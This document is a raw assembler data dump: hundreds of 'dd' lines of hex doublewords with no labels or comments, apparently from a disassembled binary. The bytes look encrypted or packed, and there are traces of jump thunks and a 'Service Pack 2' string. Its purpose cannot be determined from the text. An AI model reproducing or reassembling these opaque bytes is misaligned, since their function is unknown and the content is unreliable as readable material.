		dd 5542160Eh, 0AF9CBD8Ah, 99B1A676h, 4D0C459Ah,	0BCDDFA9Ah
		dd 0CA53B4A4h, 0A259F9B0h, 716635F2h, 0EDB8D9A6h, 0BD12FF20h
		dd 9701CF9Bh, 41C26BBh,	51667121h, 0D6A1B668h, 6A57BF98h
		dd 5B736431h, 0FCE075Ch, 0B300F008h, 0B9015BFBh, 0FB6AA0E6h
		dd 6970015Bh, 0B9F37D48h, 0D4015BFBh, 0EEA450BBh, 33CA5574h
		dd 1Ah,	823CDF18h, 324A5A82h, 0A77293ECh, 0BADCC2DAh, 0D3598D80h
		dd 0C08h, 80BA4A00h, 47D3598Ah,	31494E0Eh, 0C511064Bh
		dd 73D83D8h, 0DD35970h,	0A9EFEE06h, 0DB04B640h,	0DB743F46h
		dd 0B60A4086h, 910DB04h, 59716638h, 8774A0B5h, 0ACCB2C41h
		dd 332B32E2h, 0FC19F475h, 0D3B78F24h, 0C9000000h, 11FA0F08h
		dd 563F5443h, 97809582h, 0D6BFD4C3h, 0EDFB1007h, 0D0AC9DCh
		dd 4F480FF8h, 9384513Ah, 0D2C5957Eh, 0F83EDDBDh, 0CBAE27C2h
		dd 6802EC8h, 0BC382C11h, 9963E800h, 97B8D9FEh, 4B1188AAh
		dd 0DECA7DD9h, 1D72C7C6h, 5959A1D7h, 0E6A0A7D3h, 34AC5EE4h
		dd 8D7D9518h, 0DB03ED24h, 1A58232Ah, 0A6ECD93Dh, 0E2ABF8A5h
		dd 8DA40BABh, 672D066Ch, 0E3A84E46h, 0C257FC18h, 55EAh
		dd 8D8A4B00h, 0CACD8F78h, 0B0CCCB5h, 4E490DF6h,	8A8D5039h
		dd 43626775h, 89728790h, 0CBB4C9CEh, 0BF4090Eh,	57374C4Bh
		dd 263C72B8h, 0A842CBAEh, 0A672ABFAh, 74DE6B1h,	0D35970D1h
		dd 97AFD0D7h, 1159h, 25DC9B00h,	589D9003h, 30E87237h, 6E8F5C27h
		dd 16C77056h, 19B93601h, 0E1B633FEh, 0EBAE2BF6h, 0F1A421ECh
		dd 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h, 513CF4BFh
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	89522404h, 4C281E2h
		dd 83000000h, 148704EAh, 1C895C24h, 6FE96824h, 4890000h
		dd 6B57BB24h, 0DBF7474Fh, 7720F381h, 0B9510731h, 155C00AEh
		dd 0E1C14941h, 2CC98103h, 8119F725h, 0B22381E9h, 61E9810Fh
		dd 1641B9Fh, 0EC8359CBh, 24248904h, 4240483h, 4EC8358h
		dd 0BA241489h, 8, 1A89C201h, 24048B5Ah,	5E08950h, 4, 8704C083h
		dd 0FF5C2404h, 835B2434h, 28E904C4h, 0EFFFD34h,	98D0A696h
		dd 0F6B8E9AFh, 307AB4Ah, 0EBC88BC5h, 553E900h, 47E90000h
		dd 68000005h, 7AB4C7Eh,	0FD3402E9h, 4D9668FFh, 0F8E907ABh
		dd 68FFFD33h, 7AB4E1Eh,	0FD33EEE9h, 4ED568FFh, 0E4E907ABh
		dd 68FFFD33h, 7AB4FCAh,	0FD33DAE9h, 292EEFFFh, 6E692B14h
		dd 0AFA87059h, 0F2E5B19Ah, 3621F4DDh, 0EFB61321h, 2D162B2Ch
		dd 6F586D6Ah, 0AF98ADAAh, 0F3D3E8EFh, 25D80E54h, 44DECBAEh
		dd 7080BA96h, 2056D359h, 0F6D35970h, 0D35970BFh, 59705B95h
		dd 6FF831D3h, 94CED359h, 0B6535970h, 428875A1h,	5B019B2Dh
		dd 0F81FBBF4h, 8848602Dh, 0BE5B9481h, 0FE9B8499h, 3C750ED9h
		dd 0E8AA7B9Ch, 2233D7EFh, 77B005F2h, 0AD9DB5A2h, 62A9BF68h
		dd 3720F62Fh, 0D8B2107Dh, 0D4EC128Bh, 0C5FB4114h, 0A862A9A1h
		dd 4A17E2F5h, 7C74959Ch, 7C1A84D7h, 0CFA77F14h,	49000003h
		dd 917A8F88h, 0D6BFD4C3h, 17001502h, 563F5443h,	6D7B9087h
		dd 8D8A495Ch, 0CFC88F78h, 1304D1BAh, 524515FEh,	78BE5D3Dh
		dd 0CBAE2442h, 0C700AE48h, 9C350017h, 0DBA6B163h, 0CD06F60Eh
		dd 0AFD35970h, 0D0F29D08h, 1DBB1A0Ah, 958A40FAh, 2EF0D3EBh
		dd 57033C29h, 90A87540h, 0B9DE8069h, 0B6A171EEh, 0E1AA6EEBh
		dd 5924659Bh, 43646BD3h, 385FFB78h, 248FA86Dh, 0A8132C45h
		dd 495E7919h, 0A84D0F43h, 335D21Bh, 0C7D00000h,	0AB350017h
		dd 0D3597072h, 0F281EC15h, 0F54A3720h, 597079AFh, 9DBA5CD3h
		dd 505705D2h, 92311138h, 5970164Ch, 4A151CD3h, 0BD5F08CDh
		dd 0E102CF9Ah, 2433E3CCh, 0D9391B59h, 246ABFC4h, 0D3596FEEh
		dd 0A633EDF4h, 3C2E6EFFh, 0C294778Fh, 0CA8D0AD5h, 88C2B8CDh
		dd 4FD358CBh, 0C485FC2Dh, 4103E33Bh, 0DFE8A236h, 0AC6F4008h
		dd 0E9B093ABh, 518A23EEh, 0D87C9483h, 64AA977Fh, 0DB00C6B7h
		dd 8196457Eh, 0AAA2A969h, 0F4EDE1E3h, 0B77F57ECh, 31000002h
		dd 79627760h, 0BEA7BCDBh, 0FFE8FD1Ah, 3E273C5Bh, 5563789Fh
		dd 75623174h, 0B7A07760h, 0FB1CB9A2h, 3A5DFDE6h, 60A64525h
		dd 0CBAE232Ah, 0C7E89630h, 0DA130017h, 83501B3Ch, 41118E6Bh
		dd 4B0E8B56h, 70043A80h, 30AD359h, 18BCF5E2h, 4F6734FFh
		dd 70383228h, 0D40ED359h, 9BD35980h, 0D7A2B562h, 480FF20Ah
		dd 0C0FA844Fh
		dd 0E2D35980h, 6EB4A175h, 0DB019361h, 0EDEAB067h, 3C345522h
		dd 0F4E2963Bh, 2F5B33C8h, 0A9000002h, 0F1DAEFE8h, 361F3423h
		dd 77607562h, 0B69FB4A3h, 0CDDBF0E7h, 0EDEAA9FCh, 2F28EFD8h
		dd 7364311Ah, 0B2A5755Eh, 0D81EBD9Dh, 0CBAE22A2h, 0AB600EA8h
		dd 4363C89h, 0C9E1E780h, 582334E6h, 511C3BDBh, 7908738Ch
		dd 0A3A9BED9h, 1BA8FBEFh, 1CA32h, 80BA3000h, 63D35970h
		dd 3126F1B6h, 4512FB10h, 4D0A8752h, 0BDBA7F4Ah,	4315D284h
		dd 9B683354h, 6EFD6883h, 9499AEA9h, 839BBC5Bh, 0A801CF83h
		dd 5D0D2F1Bh, 2CB250Ch,	98BF5B2Ch, 546480h, 6620000h, 83D8C511h
		dd 0BDA8F561h, 94657104h, 0CDBDD5C2h, 0DB010C04h, 400B030Ah
		dd 0C1F4ED2Fh, 178542Ch, 21F20000h, 64382136h, 0A3755E73h
		dd 0E0B69FB4h, 5AF9E2F7h, 0AF1A283Dh, 1B3027F6h, 5B706732h
		dd 9DB2A572h, 0E0F5E2B4h, 0E51B6100h, 0EBCBAE22h, 31D0A351h
		dd 5970BDEBh, 0F1BCC3D3h, 9BB0A774h, 2CF7E0B2h,	97AC6AEEh
		dd 897E7092h, 0EC622446h, 5B15C8B4h, 0D3EB448Ah, 172C2BF0h
		dd 193ED912h, 1106D14Eh, 40587946h, 0F401BD5Dh,	0D05EBC51h
		dd 56D39EBFh, 9F7F9483h, 2F65AB00h, 35D3595Fh, 0D117162Eh
		dd 0D3595F9Bh, 922CEAA1h, 46100048h, 0B586A724h, 8D3F4E3h
		dd 0B5CACD8Bh, 1CC040Bh, 4413D484h, 271D3253h, 0D358B2EDh
		dd 0E1CE060Fh, 0DF929Bh, 792059DBh, 7F86465Eh, 9CBB5992h
		dd 0D9FE9E87h, 0D3C4910Eh, 0CBCC8B08h, 0D4389DEh, 13DB00DFh
		dd 7C9B3B0Ch, 0EFCCE4B1h, 0E6B1A672h, 7A67AFA8h, 0A90B3B34h
		dd 423A41E2h, 0FC052E29h, 8309E176h, 0FD000000h, 3D263B5Ch
		dd 7A63789Fh, 0BBA4B9DEh, 0FAE3F81Fh, 19273C5Bh, 3126F5B0h
		dd 7364331Ch, 0B7A0755Eh, 0FE19B9A2h, 246A09E9h, 0CBAE20EEh
		dd 0C7AC5AF4h, 0B8350017h, 6126F1E6h, 8C4EDD48h, 3499E8Bh
		dd 0D35970CDh, 8DB4CCD3h, 0A801C387h, 1D161Bh, 0AB140000h
		dd 5604A372h, 88A97641h, 0DFF7E0B7h, 5970B6EFh,	0DEF999D3h
		dd 0B85C9h, 0BAC70000h,	0D3597080h, 8FA4B363h, 2F709BA3h
		dd 2, 16C7EB89h, 19B93601h, 0E1B633FEh,	0EBAE2BF6h, 0F1A421ECh
		dd 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h, 513CF4BFh
		dd 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh, 0E089505Ch
		dd 405h, 4E88300h, 5C240487h, 52240489h, 0C281E289h, 4
		dd 4EA81h, 14870000h, 34895C24h, 1F96824h, 34890000h, 4BD8BE24h
		dd 0F08907ABh, 348B545Eh, 4C48124h, 68000000h, 68CEh, 8F240489h
		dd 34FF0846h, 0C4835E24h, 2434FF04h, 4C48158h, 0E9000000h
		dd 0FFFD2EC7h, 72B846D0h, 307AB50h, 0E9D18BC5h,	51h, 24748B60h
		dd 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh
		dd 840F00F9h, 16h, 0F0C7A3Bh, 158Fh, 28EA8300h,	8B0C428Bh
		dd 0C12B144Ah, 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h
		dd 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh, 5E80009h, 99000000h
		dd 7565C4ADh, 5F40ED80h, 0C781DF8Bh, 5A0Fh, 53ABBB66h
		dd 164768h, 14E900h, 0BCDD0000h, 7C52FB89h, 49F9312Ch
		dd 0A7B781A5h, 6AFCF73h, 0B35E892Dh, 0E8178B1Dh, 0Fh, 8E54C416h
		dd 9308CC5Fh, 5AADBF2Bh, 6036CAEAh, 0FD15C981h,	0BF0F087Ch
		dd 815B61C3h, 5275F8C2h, 38E0F71h, 66000000h, 0C281C68Bh
		dd 28A55F7Eh, 72F281FCh, 0F748081h, 0F52C3BFh, 38Ch, 0C38B6600h
		dd 8A0F078Fh, 5, 19C38166h, 5EF814Dh, 0FC5EB3EFh, 0EF01C781h
		dd 0F565EB3h, 28Eh, 58EB8A00h, 1EE81h, 850F0000h, 2Bh
		dd 18800Fh, 0F600000h, 85h, 0BE900h, 0E9500000h, 7670C19Ch
		dd 699ECC35h, 23E96110h, 0D7000000h, 0D2CA6EAAh, 0B9877283h
		dd 61451F48h, 0FFFF50E9h, 83BDDFFh, 1DF81138h, 485BA135h
		dd 9829FE73h, 65E974DEh, 0F1000001h, 0E75004F9h, 93DA95ECh
		dd 0DF067158h, 0FDBEB6CFh, 36365D54h, 0BCECA4h,	52C55DD5h
		dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh,	9CACACh
		dd 0FC6C46BFh, 597390ADh, 75D6A336h, 0BD9C72E2h, 93DD0090h
		dd 0A79B8CE6h, 0DD64A592h, 9792A7ABh, 0FC7A918Fh, 96B9F95Ch
		dd 0B59BB1E4h, 0B69F47E4h, 94B6E592h, 0B59EBDF6h, 0EC96B3EBh
		dd 999C93D0h, 0FD7B97BFh, 9389F55Ch, 0EDAFF4h, 0A6E3B2CDh
		dd 0B5D4E594h, 445700C3h, 0B0F3622Dh, 2CAE29h, 340000h
		dd 380000h, 2 dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 27h dup(0)
		dd 1F39E9h, 55A56800h, 0ECE907ABh, 68FFFD2Bh, 7AB56C6h
		dd 0FD2BE2E9h, 576A68FFh, 0D8E907ABh, 68FFFD2Bh, 7AB583Eh
		dd 0FD2BCEE9h, 590368FFh, 0C4E907ABh, 68FFFD2Bh, 7AB59FBh
		dd 0FD2BBAE9h, 5AB568FFh, 0B0E907ABh, 68FFFD2Bh, 7AB5B9Fh
		dd 0FD2BA6E9h, 5F3268FFh, 9CE907ABh, 68FFFD2Bh,	7AB5FB9h
		dd 0FD2B92E9h, 60D768FFh, 88E907ABh, 68FFFD2Bh,	7AB6410h
		dd 0FD2B7EE9h, 674168FFh, 74E907ABh, 68FFFD2Bh,	7AB6ABAh
		dd 0FD2B6AE9h, 6C1868FFh, 60E907ABh, 68FFFD2Bh,	7AB6C88h
		dd 0FD2B56E9h, 6CF268FFh, 4CE907ABh, 68FFFD2Bh,	7AB6D3Dh
		dd 0FD2B42E9h, 6EC068FFh, 38E907ABh, 68FFFD2Bh,	7AB7000h
		dd 0FD2B2EE9h, 71A568FFh, 24E907ABh, 39FFFD2Bh,	816A7F98h
		dd 0C6AFC4D3h, 7F00512h, 462F4453h, 5D6B8097h, 7D9A396Ch
		dd 0BFD87F68h, 314C1AAh, 425505EEh, 68AE4D2Dh, 0CBAE1C32h
		dd 9ED79E38h, 0C70B40FEh, 0E34F82D3h, 0C7C4AAC2h, 0B8350017h
		dd 869141E6h, 0B1A65065h, 0F1327865h, 0F7DB0197h, 619B25F0h
		dd 7CDB0198h, 64CF863h,	0F8E3F025h, 815AB9D6h, 9EB67C55h
		dd 2C82h, 11068000h, 5D92D8C5h,	63DB0176h, 0CD07915Ch
		dd 0B0DB0176h, 0A724EFE8h, 9F1AE5F2h, 0FA887F2h, 0ABDF8BF6h
		dd 6EE3FFFBh, 0DDh, 17C76Ch, 0F2E5B835h, 0EFE8AA27h, 0F0368B24h
		dd 0D35970BAh, 70053B81h, 40BD359h, 54374F56h, 8B33E582h
		dd 0EFF4492Ch, 0E2F50A8h, 3C0C03F9h, 2FEFD359h,	682A1328h
		dd 8A4E19BFh, 0D4A16C8Dh, 0ADAAE8B3h, 8C4A1DB9h, 0D29F6A8Bh
		dd 0C97EC4B1h, 0CFDB0161h, 0C09B3C8h, 7E95DBC8h, 84E2AC11h
		dd 193B907Dh, 0A4604498h, 0AED05EDh, 4E374C4Bh,	0CD90888Fh
		dd 0F6FC18B7h, 1CAB8961h, 71220000h, 0B4685166h, 0F3A58EA3h
		dd 30E6CFE4h, 6A291227h, 7F4A586Dh, 4B607726h, 8BA0B762h
		dd 0CDE2F5A2h, 102532E4h, 154B9130h, 1BCBAE1Bh,	56ABD381h
		dd 5970DA10h, 0C1D9E0D3h, 2B183FDEh, 705A90D6h,	5960D359h
		dd 61311A41h, 75C6176h,	59708BC1h, 9D8A91D3h, 59702157h
		dd 82027D3h, 0C5110622h, 596183D8h, 0B6A2211Ch,	9AD01603h
		dd 0A0D35945h, 5C918199h, 62DB014Bh, 0CC06905Bh, 0E7DB014Bh
		dd 0F3B763CEh, 46E3F024h, 0D1h,	17C744h, 1F38DA13h, 0EEAD2A07h
		dd 68AE9D39h, 0D3597032h, 0EF103138h, 74A39A24h, 486AD359h
		dd 0A0A7642h, 70536B9Dh, 0AB94A9AEh, 0C6FFECEBh, 0BE80017h
		dd 0A1D71D72h, 0A7D35A2Bh, 73E488A0h, 0DA7DB6A3h, 60A6A5BDh
		dd 0DB0250ABh, 799E3972h, 7701A161h, 0F1BE3FDAh, 8DAEA96Fh
		dd 1952576Ch, 0C3905B7Ch, 673225F2h, 79DE829Ah,	697FB804h
		dd 0B4F3ADAAh, 7F41524h, 0AC6099C1h, 0AB989FE2h, 9FB4A372h
		dd 0F8F0E7B6h, 0FC18536Bh, 8A3B13A8h, 100001Bh,	49324750h
		dd 8E778C8Bh, 0CFB8CDCAh, 0EF70C0Bh, 2533484Fh,	455201A4h
		dd 87904730h, 0CBCC8972h, 0A0DCDB6h, 307615F5h,	0CBAE19FAh
		dd 0C7B86600h, 0E9EE0314h, 0D3EBECB0h, 14292EF0h, 17C728h
		dd 0F1E6B835h, 5C0BCB04h, 8C799ABDh, 59701046h,	0F70F16D3h
		dd 0FCB1E3D0h, 79CEBB1Bh, 0BA7BF257h, 8204DBFh,	0E2F718h
		dd 0CDF6FDDBh, 8F52C1FFh, 0A272E397h, 6ACA6FB5h, 30D09F37h
		dd 0F5EE8426h, 6A35565Dh, 0FEEB2B2Ch, 0DF285DB8h, 6F5C63A6h
		dd 5E736436h, 0BAB2A575h, 20CF0BB3h, 0E68F67FCh, 5D00001Ah
		dd 9D869BBCh, 0DAC3D8FFh, 1B04193Eh, 5A43587Fh,	79879CBBh
		dd 91865550h, 0D3C4937Ch, 1700D5BEh, 5E791902h,	84CA6949h
		dd 0CBAE194Eh, 0C70CBA54h, 0B8EE3417h, 0BED35970h, 7258AA1Eh
		dd 214247E1h, 1EF73500h, 3E83C9B6h, 44DB00FAh, 0F53B283Dh
		dd 0B767FF58h, 4C927FA0h, 0E2A9002Bh, 0FB1CB9F2h, 9D686F2Ah
		dd 0F1F8B8D0h, 0C3C2E204h, 62D2018Ah, 8E410F4Ah, 55AA5ABEh
		dd 20875833h, 0AA6D73BCh, 0F415E2ADh, 0F7DF38DCh, 1A60B50Ah
		dd 0AA5B02E4h, 0DBCBE3EAh, 0B2031B36h, 2C6A353Ch, 0B8FEEB2Bh
		dd 0B9AB575Dh, 0C216C363h, 0BB945ADEh, 0A274AD9Ah, 469BA0B5h
		dd 0AB23CA00h, 0B7FDD0B9h, 0B9AB2381h, 475F8087h, 0ADA5B264h
		dd 151B0EC8h, 128860F5h, 8900001Ah, 0D1BACFC8h,	16FF1403h
		dd 57405542h, 967F9483h, 0ADBBD0C7h, 0CDCA891Ch, 0F08CFB8h
		dd 534411FAh, 9285553Eh, 0B8FE9D7Dh, 0CBAE1882h, 0C740EE88h
		dd 8F885017h, 0E9D6F7C4h, 60A898C7h, 0ABC35762h, 5CFC35CEh
		dd 8BA3703Bh, 0B9A66EE7h, 115C673h, 4015CCDBh, 34213657h
		dd 6FF760F3h, 0A08DAEA9h, 5146124Bh, 0B1A1B986h, 0E2A91B90h
		dd 69A28F96h, 3A5DFCABh, 0F8C60119h, 7F51D410h,	4F12532h
		dd 0F9ED19BEh, 4D181F86h, 0E1CE060Fh, 0F2306A8Ch, 0E4EF83F8h
		dd 0BA81DCCCh, 0D0878EA1h, 0FDEA0B0Ch, 88A1D7DBh, 0CD07C1D6h
		dd 0B9DE7E6Fh, 0E80021EEh, 0E9EEB0E9h, 2C2BEBD4h, 2314934h
		dd 1DF58A48h, 194Dh, 0EF0413C4h, 2C415606h, 6D829543h
		dd 0ACC1D684h, 0F20710C3h, 1DC0E5E4h, 5DFCE5FAh, 9F3C253Ah
		dd 0D87A6378h, 2BCAAABFh, 0AE17AFE5h, 6D1BB5CBh, 2A572ABh
		dd 56214255h, 0CC8E7189h, 456700CBh, 0AC46D97Eh, 51F50D92h
		dd 12310C4h, 1652428Ah,	605F77D4h, 3A70B60Bh, 40D35962h
		dd 24312139h, 2ADB0175h, 9BE13623h, 0DB017565h,	12AA646Bh
		dd 0E355DA4Dh, 8A779EB6h, 71A5B2ADh, 781D3E84h,	1C23E2A9h
		dd 5E94DA2Fh, 64E2A978h, 21ECEBADh, 0E01B3354h,	0EC2DC212h
		dd 106789DFh, 7442D83Ah, 0F3027F3h, 12C253F7h, 1C3ADF25h
		dd 3940E794h, 2327306Eh, 941CA7DDh, 94DAADE7h, 0E7941C5Eh
		dd 1B3C5D64h, 17AB0C2Eh, 0F05E8F73h, 3893D9D8h,	0FFEF3C29h
		dd 0E90116C6h, 0FC352229h, 23283D5Ah, 295288CEh, 5158EF3Ch
		dd 93845639h, 0A804AE9Bh, 0CEA63BE8h, 1855h, 0F70C0BCCh
		dd 34494E0Eh, 758A8D4Bh, 0B4C9CE8Ch, 0FA0F08CBh, 15C8DDECh
		dd 5504ED02h, 97442D42h, 0D0826B80h, 33D2B2C7h,	0AE17B7EDh
		dd 7523BDCBh, 6B6717C7h, 84BA00B3h, 8AD35942h, 39F6C983h
		dd 10493657h, 0B3804B4Ch, 9780BE9Bh, 130C523Fh,	19DB00F5h
		dd 86A7B062h, 0A1AC8471h, 1E7360B4h, 0F5A2D8h, 89A1A8DBh
		dd 0FB23448Ah, 95EAE2A8h, 0D49FB85Ch, 0FAF32907h, 0F2F9E2A8h
		dd 0EA131ADAh, 71F3A31Ch, 8450C576h, 0BAC5197h,	0ABB27E1Ah
		dd 61B5A2E0h, 46D32E74h, 0D2D985C2h, 0EDEAACE5h, 0FF9AD3D8h
		dd 6F400DD8h, 0B497AFA8h, 6FDF5E2h, 0C7412269h,	179B5A32h
		dd 41120000h, 84584156h, 0C3957E93h, 0D6BFD4h, 7A190217h
		dd 8F3A485Dh, 3B504716h, 7B908752h, 0BDD2C592h,	1502D4h
		dd 53B8120h, 0BCBAE16h,	17C7C371h, 70B8EE34h, 0B7BED359h
		dd 888DCB96h, 3D68A8B3h, 58F7C1F7h, 6C0C7D3h, 0BA4359h
		dd 966A89Eh, 5C496A93h,	474D516h, 0E7D4DBDBh, 0DF0E17C5h
		dd 243CCADBh, 2D2AEC25h, 3BDA1318h, 0E3AEA96Ch,	0EDDDF516h
		dd 0DB055A47h, 3724E869h, 23505B15h, 0BDD56774h, 0EAEDAD96h
		dd 5017C4FDh, 0A16C8D8Ah, 9095BCD4h, 0CB968157h, 906A44FEh
		dd 0B36AA32h, 5EC64FF3h, 6D39EB9h, 5DA3F8E5h, 0DB04C527h
		dd 0F0E262Dh, 0B01888C9h, 9A878EE2h, 92D8B361h,	0E2B0185Ch
		dd 253A5B62h, 0B47F983Ch, 6BA46737h, 11DEA9AEh,	0B017FD33h
		dd 0DBFC03E2h, 1C1BDAE3h, 6A42D7FCh, 16B1h, 4B607728h
		dd 90A5B262h, 0D1E6F1A7h, 102532E8h, 4E637427h,	791C8940h
		dd 0B960495Eh, 0FBA0899Eh, 3CDEC7DCh, 8726061Bh, 0AE150B41h
		dd 0C97711CBh, 0D8C51106h, 4C35192h, 1B757DBh, 0A7DAC9F5h
		dd 0F42D1A3Bh, 19183027h, 4193EE0h, 0B003DDFFh,	26F1E6B4h
		dd 7D179F59h, 0D10209DFh, 0AACBA86Ah, 0A96DEE92h, 374C76BCh
		dd 4B52DB05h, 37BDF680h, 0BFD8DB05h, 0C4E2A854h, 8037E3F3h
		dd 35000000h, 6EA089ABh, 7FB61E68h, 6A5DA2C5h, 9EB6A655h
		dd 0C8B519FAh, 59355082h, 844F56D3h, 0F3E4B2EBh, 0D0A15B28h
		dd 837F98BFh, 9ED8C8E0h, 81D35912h, 78F5C0D7h, 1BE8B3A4h
		dd 0BF8A8D4Ah, 4D2C9744h, 5595B7B4h, 0B9021D4Dh, 0FA307663h
		dd 0D35946h, 5BC6E1F9h,	0A7D4FBAFh, 75225B1Bh, 0B2CA9762h
		dd 1A96h, 81BA9400h, 0A3D35970h, 2F7562B2h, 0DB019226h
		dd 0FF38252Ch, 0A5723D5Ah, 67A668Dh, 92D8C511h,	0DB018B81h
		dd 0C5382648h, 137CB200h, 47343BFBh, 77484F0Eh,	1CE9B4A3h
		dd 0E8AA2704h, 67AD02EFh, 0DB020B31h, 0F1183037h, 54415608h
		dd 30C6781Bh, 1450F85Dh, 0F8C590B1h, 0D78603E0h, 0A6A1F5C0h
		dd 8757903Bh, 70BFA8F7h, 56770416h, 9CBB5B3Eh, 2BFC9E87h
		dd 0A8B06A6Dh, 179C70B1h, 0D311DCFDh, 5FA59242h, 0E2A9C20Ah
		dd 0D1C698D1h, 61213906h, 1E40455Ah, 0B013D34Bh, 16F911CAh
		dd 44665344h, 4F32776Ah, 7DC3B0B6h, 0E2AA4547h,	512E464Dh
		dd 0E0ECB0C7h, 56C1BC5Ah, 0EB0017C7h, 0C5975002h, 74F918D2h
		dd 0A25741C1h, 9D39B681h, 8734AF7Ah, 6238711Ch,	0C5DDAA75h
		dd 122730E2h, 0A36E6929h, 3724F065h, 88E700F1h,	0EAFF0662h
		dd 0EAEDACE5h, 282FEFD2h, 6E39E05Dh, 0C28DAEA9h, 7908736Eh
		dd 0C0A9BED9h, 0F02EF91Eh, 7CC2AF67h, 6A311B77h, 4651053Eh
		dd 52676E2Eh, 0E3AEA969h, 5641114Ah, 0B6A6BE8Bh, 7A311B7Ch
		dd 6C178293h, 1B9BD117h, 9AA17A31h, 0F40C0BC9h,	41564111h
		dd 0C9948358h, 0C38E894Ch, 0EB7AE5FEh, 0F14292Eh, 461700D6h
		dd 0EFBC8790h, 3027F4D7h, 3E77CC65h, 6BA17F98h,	717A311Bh
		dd 0AB6F526Ah, 2AC26213h, 2237BC2h, 0FB1CBA37h,	0F7E0B330h
		dd 0E34E672Ch, 0F6615C04h, 300CB267h, 94ACF89Eh, 0EED7EC0Dh
		dd 0EC412E29h, 312370A6h, 576F767Ah, 468CE17Ah,	7A312310h
		dd 0C0F87616h, 4A8BE9C0h, 0E86D1129h, 0E8F93F2Ch, 0EE81D935h
		dd 0F4A11CE7h, 3A5DFA89h, 5FFE2025h, 0D20927EBh, 0AF6F526Ah
		dd 0B44DDA8h, 1377D4Eh,	781D960h, 4714DF00h, 8D8A4C2Fh
		dd 79E4FDC2h, 1A2F28EAh, 28115E14h, 39A34Ah, 0ABA10000h
		dd 0AB31E389h, 58AD5DE5h, 0A6FFB933h, 0BFF53B63h, 0C5D358F2h
		dd 0A2859DBEh, 0D917E2F5h, 8E30E87Ch, 0FB3BB673h, 1A3B5CC3h
		dd 6D5AE72Dh, 5960DB01h, 1E0044h, 0C7420000h, 7D2E6C12h
		dd 3626D5F6h, 0B0C4A15h, 8F98DECBh, 95DB00E7h, 4E193EDEh
		dd 5F4B6081h, 77E06DC3h, 4B6CB29Fh, 51DB0176h, 72245D4Ah
		dd 7B1D9A65h, 0A3C4915Ch, 4C82508Bh, 6ECFB48Dh,	173E94E9h
		dd 77071606h, 0BF146956h, 0B4954379h, 2A4249CFh, 5CAD953Ah
		dd 0C9949BD7h, 5D4A8A8Bh, 4E9BC17h, 0CEBBC2DFh,	0ED39C595h
		dd 2311B580h, 42645172h, 2B0A6542h, 4D748CA5h, 0ADA5B264h
		dd 0F8E17FFAh, 1E3E16ABh, 95000013h, 0D5BED3C4h, 12FB1007h
		dd 533C5146h, 927B9087h, 0B1BFD4C3h, 0C9CE8D18h, 0B0CCBB4h
		dd 4F480DF6h, 9681513Ah, 0BC02A181h, 0CBAE1186h, 0BA44F28Ch
		dd 0D3597184h, 7865B1A6h, 19C1D32h, 498FE4DBh, 0DB019C13h
		dd 3AFA1219h, 4D0D4633h, 2C197F4Ah, 10A0F463h, 0ADF3E001h
		dd 0DB019F77h, 5F5E767Dh, 0E0B67126h, 0CEE43DF7h, 0E89D87ACh
		dd 0CC9B2C7h, 13C3400Bh, 0CC978054h, 0CDE6DEFFh, 0CAF4E207h
		dd 12975D35h, 4D0E0000h, 884C354Ah, 0C7917A8Fh,	4D2BBD0h
		dd 4615FE13h, 9B2E3C51h, 374C4B0Ah, 778C8B4Eh, 0B9CEC98Eh
		dd 0F4090ED0h, 0F92F7514h, 0FFCBAE10h, 72ABB765h, 18E5B0A7h
		dd 0B9849347h, 2730D4ECh, 58AD02EFh, 5970DC12h,	0C3DBE2D3h
		dd 19BBED3h, 0C424C4DBh, 29048C07h, 2574465h, 0B73167ADh
		dd 3037DB01h, 70673518h, 0B5A2725Bh, 0B6FC51EAh, 0DB01B780h
		dd 0F2A0B763h, 5B7C1AEBh, 99BE6043h, 89C253CEh,	3502CDCAh
		dd 897021Dh, 412E4354h,	30E073FAh, 81964607h, 0B6F32CB6h
		dd 2ED5DB01h, 776034C3h, 0BCDB7962h, 72A2B3F1h,	20F73085h
		dd 0CE2F1F37h, 0D4E2AD09h, 0F7A7E0CDh, 30E2CBE0h, 8AC35C27h
		dd 0CB0C8CFh, 98DECB0Bh, 0EA585BB4h, 8196427Bh,	0B5A2A969h
		dd 942BCC93h, 536BB40Ah, 5C7B1B54h, 49094247h, 0E51B614Eh
		dd 0EBEA5842h, 29E9CCE4h, 0EB392395h, 3607D6A6h, 85507166h
		dd 1906CE47h, 9652D3h, 19F719F2h, 0D757E13Ch, 0D9E0A0B8h
		dd 0ED4A3AE1h, 461EB3EDh, 1179h, 13282FF0h, 586D6A2Ah
		dd 99AEA96Fh, 0D8EDEAB0h, 162B2CEFh, 31E4C108h,	71281126h
		dd 0B3685166h, 0F4A68FA4h, 4FEECEE3h, 0AE10D309h, 913FD9CBh
		dd 59708DBAh, 0ACAB70D3h, 0BC599297h, 76DF839Bh, 7D7FB505h
		dd 0D7F8B897h, 99C8A4EAh, 3A8FDB04h, 499BEF4h, 0E5F2A1DBh
		dd 58183037h, 6D2B6451h, 9922589Eh, 2128DB04h, 99B8EE34h
		dd 0B7BEDB04h, 0AB958196h, 5605A272h, 8082041h,	1C27F542h
		dd 18E97h, 145A7C00h, 710C5B6h,	10B56F3Ch, 611C1A9h, 934D6E3Bh
		dd 5821D459h, 0BBA1B9B6h, 40141206h, 9EBF8C57h,	881F8FB1h
		dd 7D471CE7h, 56AB7F65h, 7085BB01h, 848BD359h, 70437C6Ch
		dd 8308D359h, 8F6FABAFh, 1F068E20h, 6A97F3C7h, 423E7A48h
		dd 79DE3916h, 3620DA42h, 997F97EDh, 40131306h, 0EEBF8C57h
		dd 94612C2Bh, 926F9F73h, 0CD98BF59h, 0AA02E800h, 1EA7F590h
		dd 5E29h, 1F062700h, 65ABF3C7h,	0D359702Ch, 22589EF3h
		dd 1CD35970h, 0CF35D96Dh, 7B82301Eh, 0C89CA363h, 11C76FABh
		dd 38E6706Dh, 9ABB735Ah, 0DC1258ADh, 0E2D35902h, 0ABDDC3DBh
